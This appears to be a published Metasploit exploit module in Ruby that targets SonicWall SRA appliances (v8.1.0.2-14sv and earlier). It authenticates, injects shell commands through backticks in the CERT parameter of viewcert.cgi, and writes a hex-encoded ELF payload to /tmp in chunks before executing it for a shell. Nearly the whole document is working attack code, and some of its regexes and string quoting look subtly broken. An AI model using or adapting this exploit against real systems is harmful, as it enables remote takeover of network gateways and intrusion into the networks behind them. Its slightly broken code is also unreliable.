# Exploit Title: Sonicwall viewcert.cgi CGI Remote Command Injection Vulnerablity # Date: 12/24/2016 # Exploit Author: xort @ Critical Start # Vendor Homepage: www.sonicwall.com # Software Link: sonicwall.com/products/sra-virtual-appliance # Version: 8.1.0.2-14sv # Tested on: 8.1.0.2-14sv # # CVE : (awaiting cve) # vuln: viewcert.cgi / CERT parameter # Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug. # # xort @ Critical Start require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Sonicwall SRA <= v8.1.0.2-14sv viewcert.cgi remote exploit', 'Description' => %q{ This module exploits a remote command execution vulnerability in the Sonicwall SRA Appliance Version <= v8.1.0.2-14sv. The vulnerability exist in a section of the machine's adminstrative infertface for performing configurations related to on-connect scripts to be launched for users's connecting. }, 'Author' => [ 'xort@Critical Start', # vuln + metasploit module ], 'Version' => '$Revision: 1 $', 'References' => [ [ 'none', 'none'], ], 'Platform' => [ 'linux'], 'Privileged' => true, 'Arch' => [ ARCH_X86 ], 'SessionTypes' => [ 'shell' ], 'Privileged' => false, 'Payload' => { 'Compat' => { 'ConnectionType' => 'find', } }, 'Targets' => [ ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], ], 'DefaultTarget' => 0)) register_options( [ OptString.new('PASSWORD', [ false, 'Device password', "" ]), OptString.new('USERNAME', [ true, 'Device password', "admin" ]), OptString.new('CMD', [ false, 'Command to execute', "" ]), Opt::RPORT(443), ], self.class) end def do_login(username, password_clear) vprint_status( "Logging into machine with credentials...\n" ) # vars timeout = 1550; # send request res = send_request_cgi( { 'method' => 'POST', 'uri' => "/cgi-bin/userLogin", 'headers' => { 'Connection' => 'close', 'Content-Type' => 'application/x-www-form-urlencoded', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0', }, 'vars_post' => { 'username' => username, 'password' => password_clear, 'domain' => 'LocalDomain', 'loginButton' => 'Login', 'state' => 'login', 'login' => 'true', 'VerifyCert' => '0', 'portalname' => 'VirtualOffice', 'ajax' => 'true' }, }, timeout) swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0] return swap end def run_command(swap_cookie, cmd) # vars timeout = 1550; res = send_request_cgi({ 'method' => 'POST', 'uri' => "/cgi-bin/viewcert", 'data' => "buttontype=delete&CERT=newcert-1`#{cmd}`", 'headers' => { 'Cookie' => "swap=#{swap_cookie}", }, }, timeout) end def run_command_spliced(swap_cookie, cmd) write_mode = ">" dump_file = "/tmp/qq" reqs = 0 cmd_encoded = cmd.unpack("H*").join().gsub(/(w)(w)/,'\x12') for cmd_chunk in cmd_encoded.split(/(....................................)/) cmd_new = "printf "#{cmd_chunk}"#{write_mode}#{dump_file}" reqs += 1 vprint_status("Running Command (#{reqs})\n") # set to normal append for loops after the first round if write_mode == ">" write_mode = ">>" end # add cmd to array to be exected later run_command(swap_cookie, cmd_new) end # vprint_status("Running Final Command ...\n") # execute payload stored at dump_file run_command(swap_cookie, "chmod +x /tmp/qq; sh /tmp/qq") end def exploit # timeout timeout = 1550; # params password_clear = datastore['PASSWORD'] user = datastore['USERNAME'] # do authentication swap_cookie = do_login(user, password_clear) vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n") #if no 'CMD' string - add code for root shell if not datastore['CMD'].nil? and not datastore['CMD'].empty? cmd = datastore['CMD'] # Encode cmd payload encoded_cmd = cmd.unpack("H*").join().gsub(/(w)(w)/,'\x12') # kill stale calls to bdump from previous exploit calls for re-use run_command(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf "#{encoded_cmd}" > /tmp/n; chmod +rx /tmp/n; /tmp/n" )) else # Encode payload to ELF file for deployment elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) encoded_elf = elf.unpack("H*").join().gsub(/(w)(w)/,'\x12') run_command_spliced(swap_cookie, "printf "#{encoded_elf}">/tmp/m;chmod +rx /tmp/m;/tmp/m") # wait for magic handler end end end